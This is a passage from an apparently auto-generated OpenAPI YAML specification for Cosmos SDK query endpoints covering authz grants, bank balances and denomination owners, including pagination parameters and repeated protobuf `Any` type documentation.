| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a | |
| custom JSON | |
| representation, that representation will be embedded | |
| adding a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message | |
| [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| expiration: | |
| type: string | |
| format: date-time | |
| title: >- | |
| time when the grant will expire and will be pruned. If | |
| null, then the grant | |
| doesn't have a time expiration (other conditions in | |
| `authorization` | |
| may apply to invalidate the grant) | |
| description: |- | |
| Grant gives permissions to execute | |
| the provide method with expiration time. | |
| description: >- | |
| authorizations is a list of grants granted for grantee by | |
| granter. | |
| pagination: | |
| description: pagination defines an pagination for the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryGrantsResponse is the response type for the | |
| Query/Authorizations RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: granter | |
| in: query | |
| required: false | |
| type: string | |
| - name: grantee | |
| in: query | |
| required: false | |
| type: string | |
| - name: msg_type_url | |
| description: >- | |
| Optional, msg_type_url, when set, will query only grants matching | |
| given msg type. | |
| in: query | |
| required: false | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/authz/v1beta1/grants/grantee/{grantee}: | |
| get: | |
| summary: GranteeGrants returns a list of `GrantAuthorization` by grantee. | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: GranteeGrants | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| grants: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| granter: | |
| type: string | |
| grantee: | |
| type: string | |
| authorization: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the | |
| type of the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's | |
| path must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be | |
| in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the | |
| binary all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results | |
| based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available | |
| in the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the | |
| above specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any | |
| values in the form | |
| of utility functions or additional generated methods of | |
| the Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and | |
| the unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will | |
| yield type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the | |
| regular | |
| representation of the deserialized, embedded message, | |
| with an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a | |
| custom JSON | |
| representation, that representation will be embedded | |
| adding a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message | |
| [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| expiration: | |
| type: string | |
| format: date-time | |
| title: >- | |
| GrantAuthorization extends a grant with both the addresses | |
| of the grantee and granter. | |
| It is used in genesis.proto and query.proto | |
| description: grants is a list of grants granted to the grantee. | |
| pagination: | |
| description: pagination defines an pagination for the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryGranteeGrantsResponse is the response type for the | |
| Query/GranteeGrants RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: grantee | |
| in: path | |
| required: true | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/authz/v1beta1/grants/granter/{granter}: | |
| get: | |
| summary: GranterGrants returns list of `GrantAuthorization`, granted by granter. | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: GranterGrants | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| grants: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| granter: | |
| type: string | |
| grantee: | |
| type: string | |
| authorization: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the | |
| type of the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's | |
| path must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be | |
| in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the | |
| binary all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results | |
| based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available | |
| in the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the | |
| above specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any | |
| values in the form | |
| of utility functions or additional generated methods of | |
| the Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and | |
| the unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will | |
| yield type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the | |
| regular | |
| representation of the deserialized, embedded message, | |
| with an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a | |
| custom JSON | |
| representation, that representation will be embedded | |
| adding a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message | |
| [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| expiration: | |
| type: string | |
| format: date-time | |
| title: >- | |
| GrantAuthorization extends a grant with both the addresses | |
| of the grantee and granter. | |
| It is used in genesis.proto and query.proto | |
| description: grants is a list of grants granted by the granter. | |
| pagination: | |
| description: pagination defines an pagination for the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryGranterGrantsResponse is the response type for the | |
| Query/GranterGrants RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: granter | |
| in: path | |
| required: true | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/balances/{address}: | |
| get: | |
| summary: AllBalances queries the balance of all coins for a single account. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| operationId: AllBalances | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balances: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: balances is the balances of all the coins. | |
| pagination: | |
| description: pagination defines the pagination in the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryAllBalancesResponse is the response type for the | |
| Query/AllBalances RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: address | |
| description: address is the address to query balances for. | |
| in: path | |
| required: true | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/balances/{address}/by_denom: | |
| get: | |
| summary: Balance queries the balance of a single coin for a single account. | |
| operationId: BankBalance | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balance: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: >- | |
| QueryBalanceResponse is the response type for the Query/Balance | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: address | |
| description: address is the address to query balances for. | |
| in: path | |
| required: true | |
| type: string | |
| - name: denom | |
| description: denom is the coin denom to query balances for. | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/denom_owners/{denom}: | |
| get: | |
| summary: >- | |
| DenomOwners queries for all account addresses that own a particular | |
| token | |
| denomination. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| Since: cosmos-sdk 0.46 | |
| operationId: DenomOwners | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| denom_owners: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| description: >- | |
| address defines the address that owns a particular | |
| denomination. | |
| balance: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| description: >- | |
| DenomOwner defines structure representing an account that | |
| owns or holds a | |
| particular denominated token. It contains the account | |
| address and account | |
| balance of the denominated token. | |
| Since: cosmos-sdk 0.46 | |
| pagination: | |
| description: pagination defines the pagination in the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
